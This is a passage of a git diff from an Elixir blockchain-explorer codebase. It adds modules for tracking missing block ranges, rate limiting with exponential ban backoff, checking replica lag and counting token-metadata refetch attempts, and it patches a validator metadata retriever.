a/apps/explorer/lib/explorer/utility/missing_block_range.ex b/apps/explorer/lib/explorer/utility/missing_block_range.ex new file mode 100644 index 000000000000..42af949565e9 --- /dev/null +++ b/apps/explorer/lib/explorer/utility/missing_block_range.ex @@ -0,0 +1,675 @@ +defmodule Explorer.Utility.MissingBlockRange do + @moduledoc """ + Module is responsible for keeping the ranges of blocks that need to be (re)fetched. + """ + use Explorer.Schema + + alias Explorer.Chain.{Block, BlockNumberHelper} + alias Explorer.Repo + + @default_returning_batch_size 10 + + @typedoc """ + * `from_number`: The lower bound of the block range. + * `to_number`: The upper bound of the block range. + """ + typed_schema "missing_block_ranges" do + field(:from_number, :integer) + field(:to_number, :integer) + # Currently, the only priority that is used is `1` for contract creation + # blocks fetch. Whenever we introduce additional priorities, we MUST change + # this field to `Ecto.Enum`, like this: + # + # ```elixir + # field(:priority, Ecto.Enum, values: [contract_creation: 1, something_else: 2]) + # ``` + # + # or like this: + # + # ```elixir + # field(:priority, Ecto.Enum, values: [low: 1, medium: 2, high: 3]) + # ``` + + field(:priority, :integer) + end + + @doc false + def changeset(range \\ %__MODULE__{}, params) do + cast(range, params, [:from_number, :to_number, :priority]) + end + + @doc """ + Fetches the minimum and maximum block numbers from all missing block ranges. + + Returns a map with: + - `:min` - The minimum `to_number` across all ranges, or nil if no ranges exist + - `:max` - The maximum `from_number` across all ranges, or nil if no ranges exist + + This gives the overall bounds of all missing block ranges in the database. + """ + @spec fetch_min_max() :: %{min: non_neg_integer() | nil, max: non_neg_integer() | nil} + def fetch_min_max do + Repo.one(min_max_block_query()) + end + + @doc """ + Retrieves the latest batch of missing block ranges from the database. + + This function queries the database for the latest missing block ranges and processes them + to return a list of ranges, each represented as a `Range` struct. The size of the batch + can be customized by providing the `size` argument, or it defaults to `@default_returning_batch_size`. + + ## Parameters + + - `size` (integer, optional): The maximum number of blocks to include in the batch. Defaults to `@default_returning_batch_size`. + + ## Returns + + - A list of `Range` structs, where each range represents a contiguous block range of missing blocks. + + """ + @spec get_latest_batch(integer()) :: [Range.t()] + def get_latest_batch(size \\ @default_returning_batch_size) do + size + |> get_latest_ranges_query() + |> Repo.all() + |> Enum.reduce_while({size, []}, fn %{from_number: from, to_number: to}, {remaining_count, ranges} -> + range_size = from - to + 1 + + cond do + range_size < remaining_count -> + {:cont, {remaining_count - range_size, [Range.new(from, to, -1) | ranges]}} + + range_size > remaining_count -> + {:halt, {0, [Range.new(from, from - remaining_count + 1, -1) | ranges]}} + + range_size == remaining_count -> + {:halt, {0, [Range.new(from, to, -1) | ranges]}} + end + end) + |> elem(1) + |> Enum.reverse() + end + + @doc """ + Adds ranges derived from a list of block numbers and saves them with a given priority. + + ## Parameters + + - `numbers`: A list of block numbers to be converted into ranges. + - `priority`: The priority level to associate with the saved ranges. + + ## Returns + + - The result of the `save_batch/2` function, which processes and persists the ranges. + + This function first converts the list of block numbers into ranges using `numbers_to_ranges/1` + and then saves the resulting ranges in a batch with the specified priority. + """ + @spec add_ranges_by_block_numbers([Block.block_number()], integer() | nil) :: [__MODULE__.t()] + def add_ranges_by_block_numbers(numbers, priority) do + numbers + |> numbers_to_ranges() + |> save_batch(priority) + end + + # Saves a range of block numbers with an optional priority. + + # This function handles the insertion, deletion, and splitting of block ranges + # based on the given range and priority. It ensures that overlapping or adjacent + # ranges are managed correctly, taking into account their priorities. + + # ## Parameters + + # - `from..to`: A `Range.t()` representing the range of block numbers to save. + # - `priority`: An optional integer representing the priority of the range. If + # `nil`, the range will not have a priority. + + # ## Returns + + # - `:ok`: If the operation completes successfully without returning a range. + # - `{:ok, t()}`: If the operation completes successfully and returns a range. + # - `{:error, Ecto.Changeset.t()}`: If there is an error during the operation. + + # ## Behavior + + # The function performs the following actions based on the existing ranges: + + # - If both the lower and higher bounds of the range belong to the same existing + # range, it updates the priority and splits the range into smaller ranges if + # necessary. + # - If only one bound of the range overlaps with an existing range, it deletes + # the overlapping range if it has a lower priority and fills the gap between + # the new range and the existing range. + # - If the range overlaps with two different existing ranges, it deletes the + # overlapping ranges with lower priority, fills the gap between them, and + # adjusts the priorities of the resulting ranges. + # - If the range does not overlap with any existing range, it simply fills the + # range with the given priority. + + # This function ensures that the block ranges are stored in a consistent and + # non-overlapping manner, respecting the priority of each range. + @spec save_range(Range.t(), integer() | nil) :: :ok | {:ok, t()} | {:error, Ecto.Changeset.t()} + def save_range(from..to//_, priority) do + min_number = min(from, to) + max_number = max(from, to) + + lower_range = get_range_by_block_number(min_number) + higher_range = get_range_by_block_number(max_number) + + case {lower_range, higher_range} do + {%__MODULE__{} = same_range, %__MODULE__{} = same_range} -> + if is_nil(same_range.priority) && not is_nil(priority) do + Repo.delete(same_range) + + inside_range_params = %{from_number: max_number, to_number: min_number, priority: priority} + insert_range(inside_range_params) + + insert_outside_right_range_params(same_range, min_number) + insert_outside_left_range_params(same_range, max_number) + end + + {%__MODULE__{} = range, nil} -> + delete_less_priority_range(range, priority) + split_right_range_priorities(range, priority, min_number) + fill_ranges_between(max_number, range.from_number + 1, priority) + + {nil, %__MODULE__{} = range} -> + delete_less_priority_range(range, priority) + split_left_range_priorities(range, priority, max_number) + fill_ranges_between(range.to_number - 1, min_number, priority) + + {%__MODULE__{} = range_1, %__MODULE__{} = range_2} -> + delete_less_priority_range(range_2, priority) + delete_less_priority_range(range_1, priority) + + split_left_range_priorities(range_2, priority, max_number) + split_right_range_priorities(range_1, priority, min_number) + + fill_ranges_between(range_2.to_number - 1, range_1.from_number + 1, priority) + + {nil, nil} -> + fill_ranges_between(max_number, min_number, priority) + end + end + + @spec insert_inside_left_range_params(__MODULE__.t(), Block.block_number(), integer() | nil) :: + {:ok, t()} | {:error, Ecto.Changeset.t()} + defp insert_inside_left_range_params(range, max_number, priority) do + inside_left_range_params = %{from_number: max_number, to_number: range.to_number, priority: priority} + insert_range(inside_left_range_params) + end + + @spec insert_outside_left_range_params(__MODULE__.t(), Block.block_number()) :: + {:ok, t()} | {:error, Ecto.Changeset.t()} + defp insert_outside_left_range_params(range, max_number) do + if range.from_number >= max_number + 1 do + outside_left_range_params = %{ + from_number: range.from_number, + to_number: max_number + 1, + priority: range.priority + } + + insert_range(outside_left_range_params) + end + end + + @spec insert_inside_right_range_params(__MODULE__.t(), Block.block_number(), integer() | nil) :: + {:ok, t()} | {:error, Ecto.Changeset.t()} + defp insert_inside_right_range_params(range, min_number, priority) do + inside_right_range_params = %{from_number: range.from_number, to_number: min_number, priority: priority} + insert_range(inside_right_range_params) + end + + @spec insert_outside_right_range_params(__MODULE__.t(), Block.block_number()) :: + {:ok, t()} | {:error, Ecto.Changeset.t()} + defp insert_outside_right_range_params(range, min_number) do + if min_number - 1 >= range.to_number do + outside_right_range_params = %{ + from_number: min_number - 1, + to_number: range.to_number, + priority: range.priority + } + + insert_range(outside_right_range_params) + end + end + + @spec delete_less_priority_range(__MODULE__.t(), integer() | nil) :: any() + defp delete_less_priority_range(range, priority) do + if is_nil(range.priority) && not is_nil(priority) do + delete_range(range.from_number..range.to_number) + end + end + + @spec split_left_range_priorities(__MODULE__.t(), integer() | nil, Block.block_number()) :: + {:ok, t()} | {:error, Ecto.Changeset.t()} + defp split_left_range_priorities(range, priority, pivot_number) do + if is_nil(range.priority) && not is_nil(priority) do + insert_inside_left_range_params(range, pivot_number, priority) + insert_outside_left_range_params(range, pivot_number) + end + end + + @spec split_right_range_priorities(__MODULE__.t(), integer() | nil, Block.block_number()) :: + {:ok, t()} | {:error, Ecto.Changeset.t()} + defp split_right_range_priorities(range, priority, pivot_number) do + if is_nil(range.priority) && not is_nil(priority) do + insert_inside_right_range_params(range, pivot_number, priority) + insert_outside_right_range_params(range, pivot_number) + end + end + + defp delete_range(from..to//_) do + min_number = min(from, to) + max_number = max(from, to) + + lower_range = get_range_by_block_number(min_number) + higher_range = get_range_by_block_number(max_number) + + case {lower_range, higher_range} do + {%__MODULE__{} = same_range, %__MODULE__{} = same_range} -> + Repo.delete(same_range) + + if same_range.from_number > max_number do + insert_range(%{ + from_number: same_range.from_number, + to_number: BlockNumberHelper.next_block_number(max_number) + }) + end + + if same_range.to_number < min_number do + insert_range(%{ + from_number: BlockNumberHelper.previous_block_number(min_number), + to_number: same_range.to_number + }) + end + + {%__MODULE__{} = range, nil} -> + delete_ranges_between(max_number, range.from_number) + update_from_number_or_delete_range(range, min_number) + + {nil, %__MODULE__{} = range} -> + delete_ranges_between(range.to_number, min_number) + update_to_number_or_delete_range(range, max_number) + + {%__MODULE__{} = range_1, %__MODULE__{} = range_2} -> + delete_ranges_between(range_2.to_number, range_1.from_number) + update_from_number_or_delete_range(range_1, min_number) + update_to_number_or_delete_range(range_2, max_number) + + _ -> + delete_ranges_between(max_number, min_number) + end + end + + def clear_batch(batch) do + Enum.map(batch, &delete_range/1) + end + + @doc """ + Saves multiple block ranges to the missing blocks tracking system. + + Takes a list of ranges and processes each one through `save_range/1`, handling + all the necessary merging and overlap cases. The input is wrapped in a list + to handle both single ranges and lists of ranges. + + ## Parameters + - `batch`: A single `Range` or list of `Range` structs to save + + ## Returns + - `:ok` regardless of individual range save results + """ + @spec save_batch(Range.t() | [Range.t()], integer() | nil) :: [__MODULE__.t()] + def save_batch(batch, priority \\ nil) do + batch + |> List.wrap() + |> Enum.map(fn batches -> + save_range(batches, priority) + end) + end + + @doc """ + Finds the first range in the table where the set, consisting of numbers from `lower_number` to `higher_number`, intersects. + + ## Parameters + - `lower_number`: The lower bound of the range to check. + - `higher_number`: The upper bound of the range to check. + + ## Returns + - Returns `nil` if no intersecting ranges are found, or an `Explorer.Utility.MissingBlockRange` instance of the first intersecting range otherwise. + """ + @spec intersects_with_range(Block.block_number(), Block.block_number()) :: + nil | __MODULE__.t() + def intersects_with_range(lower_number, higher_number) + when is_integer(lower_number) and lower_number >= 0 and + is_integer(higher_number) and lower_number <= higher_number do + query = + from( + r in __MODULE__, + # Note: from_number is higher than to_number, so in fact the range is to_number..from_number + # The first case: lower_number..to_number..higher_number + # The second case: lower_number..from_number..higher_number + # The third case: to_number..lower_number..higher_number..from_number + where: + (^lower_number <= r.to_number and ^higher_number >= r.to_number) or + (^lower_number <= r.from_number and ^higher_number >= r.from_number) or + (^lower_number >= r.to_number and ^higher_number <= r.from_number), + limit: 1 + ) + + query + |> Repo.one() + end + + # Inserts a new missing block range record with the provided parameters + @spec insert_range(map()) :: {:ok, t()} | {:error, Ecto.Changeset.t()} + defp insert_range(params) do + params + |> changeset() + |> Repo.insert() + end + + # Updates a missing block range record with the provided parameters + @spec update_range(t(), map()) :: {:ok, t()} | {:error, Ecto.Changeset.t()} + defp update_range(range, params) do + range + |> changeset(params) + |> Repo.update() + end + + defp update_from_number_or_delete_range(%{to_number: to} = range, from) when from <= to, do: Repo.delete(range) + defp update_from_number_or_delete_range(range, from), do: update_range(range, %{from_number: from}) + + defp update_to_number_or_delete_range(%{from_number: from} = range, to) when to >= from, do: Repo.delete(range) + defp update_to_number_or_delete_range(range, to), do: update_range(range, %{to_number: to}) + + @doc """ + Fetches the range of blocks that includes the given block number if it falls + within any of the ranges that need to be (re)fetched. + + ## Parameters + - `number`: The block number to check against the missing block ranges. + + ## Returns + - A single range record of `Explorer.Utility.MissingBlockRange` that includes + the given block number, or `nil` if no such range is found. + """ + @spec get_range_by_block_number(Block.block_number(), integer() | nil | :not_specified) :: nil | __MODULE__.t() + def get_range_by_block_number(number, priority \\ :not_specified) do + number + |> include_bound_query() + |> priority_query(priority) + |> Repo.one() + end + + # Fills all missing block ranges that overlap with the interval [from, to] + @spec fill_ranges_between(Block.block_number(), Block.block_number(), integer() | nil) :: :ok + defp fill_ranges_between(from, to, priority) when from >= to do + __MODULE__ + |> where([r], fragment("int4range(?, ?, '[]') @> int4range(?, ?, '[]')", ^to, ^from, r.to_number, r.from_number)) + |> priority_filter(priority) + |> Repo.delete_all() + + # select all left priority ranges + priority_ranges = select_all_ranges_within_the_range(from, to) + + if Enum.empty?(priority_ranges) do + # if no priority ranges inside the requested interval, fill the full range + insert_or_update_adjacent_ranges(from, to, priority, :both) + else + full_range_map_set = + from + |> Range.new(to) + |> Enum.to_list() + |> MapSet.new() + + priority_ranges + |> Enum.reduce(full_range_map_set, fn range, acc -> + map_set = + range.from_number + |> Range.new(range.to_number) + |> Enum.to_list() + |> MapSet.new() + + acc + |> MapSet.difference(map_set) + end) + |> MapSet.to_list() + |> Enum.sort_by(& &1, :desc) + |> Enum.reduce({[], {nil, nil}}, fn num, {ranges, {start_range, end_range}} -> + if is_nil(start_range) do + {ranges, {num, num}} + else + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + if end_range - num > 1 do + {[Range.new(start_range, end_range) | ranges], {num, num}} + else + {ranges, {start_range, num}} + end + end + end) + |> then(fn {ranges, {start_range, end_range}} -> + if not is_nil(start_range) && not is_nil(end_range) do + [Range.new(start_range, end_range) | ranges] + else + ranges + end + end) + |> then(fn + [range | []] -> + insert_or_update_adjacent_ranges(range.first, range.last, priority, :both) + + [lowest_range | rest_ranges] -> + [highest_range | middle_ranges] = Enum.reverse(rest_ranges) + + insert_or_update_adjacent_ranges(lowest_range.first, lowest_range.last, priority, :down) + insert_or_update_adjacent_ranges(highest_range.first, highest_range.last, priority, :up) + + middle_ranges + |> Enum.each(fn %Range{first: first, last: last} -> + range_params = %{from_number: first, to_number: last, priority: priority} + insert_range(range_params) + end) + + [] -> + :ok + end) + end + + :ok + end + + defp fill_ranges_between(_from, _to, _priority), do: :ok + + defp insert_or_update_adjacent_ranges(from, to, priority, :both) do + upper_range = get_range_by_block_number(from + 1, priority) + lower_range = get_range_by_block_number(to - 1, priority) + + case {lower_range, upper_range} do + {nil, nil} -> + insert_range(%{from_number: from, to_number: to, priority: priority}) + + {_, nil} -> + update_range(lower_range, %{from_number: from}) + + {nil, _} -> + update_range(upper_range, %{to_number: to}) + + {_, _} -> + Repo.delete(lower_range) + update_range(upper_range, %{to_number: lower_range.to_number}) + end + end + + defp insert_or_update_adjacent_ranges(from, to, priority, direction) do + {range, update_params} = + case direction do + :up -> {get_range_by_block_number(from + 1, priority), %{to_number: to}} + :down -> {get_range_by_block_number(to - 1, priority), %{from_number: from}} + end + + if is_nil(range) do + insert_range(%{from_number: from, to_number: to, priority: priority}) + else + update_range(range, update_params) + end + end + + defp select_all_ranges_within_the_range(from, to) do + __MODULE__ + |> where([r], fragment("int4range(?, ?, '[]') @> int4range(?, ?, '[]')", ^to, ^from, r.to_number, r.from_number)) + |> order_by([r], desc: r.from_number) + |> Repo.all() + end + + defp priority_filter(query, nil) do + where(query, [r], is_nil(r.priority)) + end + + defp priority_filter(query, _priority) do + query + end + + # Deletes all missing block ranges that overlap with the interval [from, to] + @spec delete_ranges_between(Block.block_number(), Block.block_number()) :: :ok + defp delete_ranges_between(from, to) do + __MODULE__ + |> where([r], fragment("int4range(?, ?, '()') @> int4range(?, ?, '[]')", ^to, ^from, r.to_number, r.from_number)) + |> Repo.delete_all() + end + + def sanitize_missing_block_ranges do + __MODULE__ + |> where([r], r.from_number < r.to_number) + |> update([r], set: [from_number: r.to_number, to_number: r.from_number]) + |> Repo.update_all([], timeout: :infinity) + + {last_range, merged_ranges} = delete_and_merge_ranges() + + save_batch((last_range && [last_range | merged_ranges]) || []) + end + + defp delete_and_merge_ranges do + delete_intersecting_ranges() + |> Enum.sort_by(& &1.from_number, &>=/2) + |> Enum.reduce({nil, []}, fn %{from_number: from, to_number: to}, {last_range, result} -> + cond do + is_nil(last_range) -> {from..to, result} + Range.disjoint?(from..to, last_range) -> {from..to, [last_range | result]} + true -> {Range.new(max(from, last_range.first), min(to, last_range.last)), result} + end + end) + end + + defp delete_intersecting_ranges do + {_, intersecting_ranges} = + __MODULE__ + |> join(:inner, [r], r1 in __MODULE__, + on: + ((r1.from_number <= r.from_number and r1.from_number >= r.to_number) or + (r1.to_number <= r.from_number and r1.to_number >= r.to_number) or + (r.from_number <= r1.from_number and r.from_number >= r1.to_number) or + (r.to_number <= r1.from_number and r.to_number >= r1.to_number)) and r1.id != r.id + ) + |> select([r, r1], r) + |> Repo.delete_all(timeout: :infinity) + + intersecting_ranges + end + + @doc """ + Returns a query to fetch the minimum and maximum block numbers from all missing block ranges. + + The query returns a map with: + - `:min` - The minimum `to_number` across all ranges + - `:max` - The maximum `from_number` across all ranges + + This gives the overall bounds of all missing block ranges in the database. + """ + @spec min_max_block_query() :: Ecto.Query.t() + def min_max_block_query do + from(r in __MODULE__, select: %{min: min(r.to_number), max: max(r.from_number)}) + end + + defp get_latest_ranges_query(size) do + from(r in __MODULE__, order_by: [desc_nulls_last: r.priority, desc: r.from_number], limit: ^size) + end + + @doc """ + Filters missing block ranges to those starting below a specified block number. + + Builds a query that finds ranges where the `from_number` field is less than + the provided lower bound. Can be chained with other query conditions. + + ## Parameters + - `query`: Optional base query to extend. Defaults to the `MissingBlockRange` schema + - `lower_bound`: Block number that the range's `from_number` must be below + + ## Returns + An `Ecto.Query` that can be further refined or executed + """ + @spec from_number_below_query(Ecto.Query.t() | __MODULE__, Block.block_number()) :: Ecto.Query.t() + def from_number_below_query(query \\ __MODULE__, lower_bound) do + from(r in query, where: r.from_number < ^lower_bound) + end + + @doc """ + Filters missing block ranges to those extending above a specified block number. + + Builds a query that finds ranges where the `to_number` field is greater than + the provided upper bound. Can be chained with other query conditions. + + ## Parameters + - `query`: Optional base query to extend. Defaults to the `MissingBlockRange` schema + - `upper_bound`: Block number that the range's `to_number` must exceed + + ## Returns + An `Ecto.Query` that can be further refined or executed + """ + @spec to_number_above_query(Ecto.Query.t() | __MODULE__, Block.block_number()) :: Ecto.Query.t() + def to_number_above_query(query \\ __MODULE__, upper_bound) do + from(r in query, where: r.to_number > ^upper_bound) + end + + @doc """ + Constructs a query to check if a given block number falls within any of the + ranges of blocks that need to be (re)fetched. + + ## Parameters + - `bound`: The block number to check against the missing block ranges. + + ## Returns + - A query that can be used to find ranges where the given block number is + within the `from_number` and `to_number` bounds. + """ + @spec include_bound_query(Block.block_number()) :: Ecto.Query.t() + def include_bound_query(bound) do + from(r in __MODULE__, where: fragment("int4range(?, ?, '[]') @> ?::int", r.to_number, r.from_number, ^bound)) + end + + defp priority_query(query, :not_specified), do: query + defp priority_query(query, nil), do: where(query, [m], is_nil(m.priority)) + defp priority_query(query, _priority), do: where(query, [m], not is_nil(m.priority)) + + defp numbers_to_ranges([]), do: [] + + defp numbers_to_ranges(numbers) when is_list(numbers) do + numbers + |> Enum.sort() + |> Enum.chunk_while( + nil, + fn + number, nil -> + {:cont, number..number} + + number, first..last//_ when number == last + 1 -> + {:cont, first..number} + + number, range -> + {:cont, range, number..number} + end, + fn range -> {:cont, range, nil} end + ) + end +end diff --git a/apps/explorer/lib/explorer/utility/missing_ranges_manipulator.ex b/apps/explorer/lib/explorer/utility/missing_ranges_manipulator.ex new file mode 100644 index 000000000000..e66aaf4fa2ac --- /dev/null +++ b/apps/explorer/lib/explorer/utility/missing_ranges_manipulator.ex @@ -0,0 +1,61 @@ +defmodule Explorer.Utility.MissingRangesManipulator do + @moduledoc """ + Performs concurrent-safe actions on missing block ranges. + """ + + use GenServer + + alias Explorer.Utility.MissingBlockRange + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + def get_latest_batch(size) do + GenServer.call(__MODULE__, {:get_latest_batch, size}) + end + + def clear_batch(batch) do + GenServer.call(__MODULE__, {:clear_batch, batch}, timeout(batch)) + end + + def save_batch(batch, priority \\ nil) do + GenServer.call(__MODULE__, {:save_batch, batch, priority}, timeout(batch)) + end + + def add_ranges_by_block_numbers(numbers, priority \\ nil) do + GenServer.cast(__MODULE__, {:add_ranges_by_block_numbers, numbers, priority}) + end + + @impl true + def init(_) do + {:ok, %{}} + end + + @impl true + def handle_call({:get_latest_batch, size}, _from, state) do + {:reply, MissingBlockRange.get_latest_batch(size), state} + end + + def handle_call({:clear_batch, batch}, _from, state) do + {:reply, MissingBlockRange.clear_batch(batch), state} + end + + def handle_call({:save_batch, batch, priority}, _from, state) do + {:reply, MissingBlockRange.save_batch(batch, priority), state} + end + + @impl true + def handle_cast({:add_ranges_by_block_numbers, numbers, priority}, state) do + MissingBlockRange.add_ranges_by_block_numbers(numbers, priority) + + {:noreply, state} + end + + @default_timeout 5000 + @timeout_by_range 2000 + defp timeout(batch) do + @default_timeout + @timeout_by_range * Enum.count(batch) + end +end diff --git a/apps/explorer/lib/explorer/utility/rate_limiter.ex b/apps/explorer/lib/explorer/utility/rate_limiter.ex new file mode 100644 index 000000000000..4b683a507dc8 --- /dev/null +++ b/apps/explorer/lib/explorer/utility/rate_limiter.ex @@ -0,0 +1,150 @@ +defmodule Explorer.Utility.RateLimiter do + @moduledoc """ + Rate limit logic with separation by action type and exponential backoff for bans. + """ + alias Explorer.Utility.Hammer + + use GenServer + + require Logger + + @ets_table_name :rate_limiter + @redis_conn_name :redix_rate_limiter + + def start_link(_) do + config = Application.get_env(:explorer, __MODULE__) + + case config[:storage] do + :redis -> Redix.start_link(config[:redis_url], name: @redis_conn_name) + :ets -> GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + end + + def init(_) do + table_opts = [ + :set, + :named_table, + :public, + read_concurrency: true, + write_concurrency: true + ] + + :ets.new(@ets_table_name, table_opts) + + {:ok, %{}} + end + + def handle_info({:delete, key}, state) do + :ets.delete(@ets_table_name, key) + {:noreply, state} + end + + def handle_info(_, state) do + {:noreply, state} + end + + @doc """ + Checks if `identifier` is banned from `action` right now. + If it's not banned, then checks the current calls rate and decides if it should be banned. + Returns `:allow` if `identifier` is not banned from `action` and its current calls rate is below the limit. + Returns `:deny` in other case. + """ + @spec check_rate(String.t() | nil, atom()) :: :allow | :deny + def check_rate(nil, _action), do: :allow + + def check_rate(identifier, action) do + with {:enabled, true} <- {:enabled, Application.get_env(:explorer, __MODULE__)[:enabled]}, + key = key(identifier, action), + {:ban_data, _key, {:ok, ban_data}} when not is_nil(ban_data) <- {:ban_data, key, get_value(key)}, + [try_after, bans_count] = parse_ban_data(ban_data), + {:ban_expired, true} <- {:ban_expired, now() > try_after} do + do_check_rate_limit(key, bans_count, action) + else + {:enabled, _false} -> :allow + {:ban_data, key, _not_found} -> do_check_rate_limit(key, 0, action) + {:ban_expired, false} -> :deny + end + end + + defp do_check_rate_limit(key, bans_count, action) do + if rate_limit_reached?(key, action) do + do_ban(key, bans_count, action) + :deny + else + :allow + end + end + + defp key(identifier, action), do: "#{Application.get_env(:block_scout_web, :chain_id)}_#{identifier}_#{action}" + + defp parse_ban_data(ban_data) do + ban_data + |> String.split(":") + |> Enum.map(&String.to_integer/1) + end + + defp now, do: :os.system_time(:second) + + defp rate_limit_reached?(key, action) do + config = Application.get_env(:explorer, __MODULE__)[action] + + time_interval_limit = config[:time_interval_limit] + limit_by_ip = config[:limit_by_ip] + + case Hammer.hit(key, time_interval_limit, limit_by_ip) do + {:allow, _count} -> + false + + {:deny, _limit} -> + true + + {:error, error} -> + Logger.error(fn -> ["Rate limit check error: ", inspect(error)] end) + false + end + end + + defp do_ban(key, bans_count, action) do + config = Application.get_env(:explorer, __MODULE__)[action] + + coef = config[:exp_timeout_coeff] + max_ban_interval = config[:max_ban_interval] + max_bans_count = :math.log(max_ban_interval / 1000 / coef) + + ban_interval = floor(coef * :math.exp(min(bans_count, max_bans_count))) + expire_after = ban_interval * 1000 + config[:limitation_period] + + set_value(key, "#{now() + ban_interval}:#{bans_count + 1}", expire_after) + end + + defp get_value(key) do + case Application.get_env(:explorer, __MODULE__)[:storage] do + :redis -> + Redix.command(@redis_conn_name, ["GET", key]) + + :ets -> + case :ets.lookup(@ets_table_name, key) do + [{_key, value}] -> {:ok, value} + _ -> :not_found + end + end + end + + defp set_value(key, value, expire_after) do + case Application.get_env(:explorer, __MODULE__)[:storage] do + :redis -> + case Redix.command(@redis_conn_name, ["SET", key, value, "EX", floor(expire_after / 1000)]) do + {:ok, "OK"} -> + :ok + + {:error, err} -> + Logger.error(["Failed to set value for key #{key} in Redis: ", inspect(err)]) + :error + end + + :ets -> + :ets.insert(@ets_table_name, {key, value}) + Process.send_after(self(), {:delete, key}, expire_after) + end + end +end diff --git a/apps/explorer/lib/explorer/utility/replica_accessibility_manager.ex b/apps/explorer/lib/explorer/utility/replica_accessibility_manager.ex new file mode 100644 index 000000000000..a3388db20c04 --- /dev/null +++ b/apps/explorer/lib/explorer/utility/replica_accessibility_manager.ex @@ -0,0 +1,65 @@ +defmodule Explorer.Utility.ReplicaAccessibilityManager do + @moduledoc """ + Module responsible for periodically checking replica accessibility. + """ + + use GenServer + + alias Explorer.Repo + + @interval :timer.seconds(10) + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + def init(_) do + if System.get_env("DATABASE_READ_ONLY_API_URL") do + schedule_next_check(0) + + {:ok, %{}} + else + :ignore + end + end + + def handle_info(:check, state) do + check() + schedule_next_check(@interval) + + {:noreply, state} + end + + defp check do + case Repo.replica_repo().query(query()) do + {:ok, %{rows: [[is_slave, lag]]}} -> + replica_inaccessible? = is_slave and :timer.seconds(lag || 0) > max_lag() + set_replica_inaccessibility(replica_inaccessible?) + + _ -> + set_replica_inaccessibility(true) + end + end + + defp query do + """ + SELECT pg_is_in_recovery(), ( + EXTRACT(EPOCH FROM now()) - + EXTRACT(EPOCH FROM pg_last_xact_replay_timestamp()) + )::int; + """ + end + + defp max_lag do + Application.get_env(:explorer, :replica_max_lag) + end + + defp set_replica_inaccessibility(inaccessible?) do + Application.put_env(:explorer, :replica_inaccessible?, inaccessible?) + end + + defp schedule_next_check(interval) do + Process.send_after(self(), :check, interval) + end +end diff --git a/apps/explorer/lib/explorer/utility/token_instance_metadata_refetch_attempt.ex b/apps/explorer/lib/explorer/utility/token_instance_metadata_refetch_attempt.ex new file mode 100644 index 000000000000..a40e754d36e4 --- /dev/null +++ b/apps/explorer/lib/explorer/utility/token_instance_metadata_refetch_attempt.ex @@ -0,0 +1,87 @@ +defmodule Explorer.Utility.TokenInstanceMetadataRefetchAttempt do + @moduledoc """ + Module is responsible for keeping the number of retries for + Indexer.Fetcher.OnDemand.TokenInstanceMetadataRefetch. + """ + + use Explorer.Schema + + alias Explorer.Chain.Hash + alias Explorer.Repo + + @primary_key false + typed_schema "token_instance_metadata_refetch_attempts" do + field(:token_contract_address_hash, Hash.Address, primary_key: true) + field(:token_id, :decimal, primary_key: true) + field(:retries_number, :integer, primary_key: false) + + timestamps() + end + + @doc false + def changeset(token_instance_metadata_refetch_attempt \\ %__MODULE__{}, params) do + cast(token_instance_metadata_refetch_attempt, params, [:hash, :retries_number]) + end + + @doc """ + Gets retries number and updated_at for given token contract Explorer.Chain.Address and token_id + """ + @spec get_retries_number(Hash.Address.t(), non_neg_integer()) :: {non_neg_integer(), DateTime.t()} | nil + def get_retries_number(token_contract_address_hash, token_id) do + __MODULE__ + |> where( + [token_instance_metadata_refetch_attempt], + token_instance_metadata_refetch_attempt.token_contract_address_hash == ^token_contract_address_hash + ) + |> where([token_instance_metadata_refetch_attempt], token_instance_metadata_refetch_attempt.token_id == ^token_id) + |> select( + [token_instance_metadata_refetch_attempt], + {token_instance_metadata_refetch_attempt.retries_number, token_instance_metadata_refetch_attempt.updated_at} + ) + |> Repo.one() + end + + @doc """ + Inserts the number of retries for fetching token instance metadata into the database. + + ## Parameters + - `token_contract_address_hash` - The hash of the token contract address. + - `token_id` - The ID of the token instance. + + ## Returns + The result of the insertion operation. + + """ + @spec insert_retries_number(Hash.Address.t(), non_neg_integer()) :: {non_neg_integer(), nil | [term()]} + def insert_retries_number(token_contract_address_hash, token_id) do + now = DateTime.utc_now() + + params = [ + %{ + token_contract_address_hash: token_contract_address_hash, + token_id: token_id, + inserted_at: now, + updated_at: now, + retries_number: 1 + } + ] + + Repo.insert_all(__MODULE__, params, + on_conflict: default_on_conflict(), + conflict_target: [:token_contract_address_hash, :token_id] + ) + end + + defp default_on_conflict do + from( + token_instance_metadata_refetch_attempt in __MODULE__, + update: [ + set: [ + retries_number: fragment("? + 1", token_instance_metadata_refetch_attempt.retries_number), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", token_instance_metadata_refetch_attempt.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", token_instance_metadata_refetch_attempt.updated_at) + ] + ] + ) + end +end diff --git a/apps/explorer/lib/explorer/validator/metadata_retriever.ex b/apps/explorer/lib/explorer/validator/metadata_retriever.ex index 99fb83db799d..10794167b13c 100644 --- a/apps/explorer/lib/explorer/validator/metadata_retriever.ex +++ b/apps/explorer/lib/explorer/validator/metadata_retriever.ex @@ -1,6 +1,6 @@ defmodule Explorer.Validator.MetadataRetriever do @moduledoc """ - Consults the configured smart contracts to fetch the valivators' metadata + Consults the configured smart contracts to fetch the validators' metadata """ alias Explorer.SmartContract.Reader @@ -15,17 +15,27 @@ defmodule Explorer.Validator.MetadataRetriever do end) end - defp fetch_validators_list do + def fetch_validators_list do + validators_contract_address = config(:validators_contract_address) + + validators_contract_address_checked = + if is_nil(validators_contract_address) and Mix.env() == :test do + "0x0000000000000000000000000000000000006001" + else + validators_contract_address + end + # b7ab4db5 = keccak256(getValidators()) - case Reader.query_contract( - config(:validators_contract_address), - contract_abi("validators.json"), - %{ - "b7ab4db5" => [] - }, - false - ) do - %{"b7ab4db5" => {:ok, [validators]}} -> validators + with false <- is_nil(validators_contract_address_checked), + %{"b7ab4db5" => {:ok, [validators]}} <- + Reader.query_contract( + validators_contract_address_checked, + contract_abi("validators.json"), + %{"b7ab4db5" => []}, + false + ) do + validators + else _ -> [] end end @@ -55,7 +65,7 @@ defmodule Explorer.Validator.MetadataRetriever do 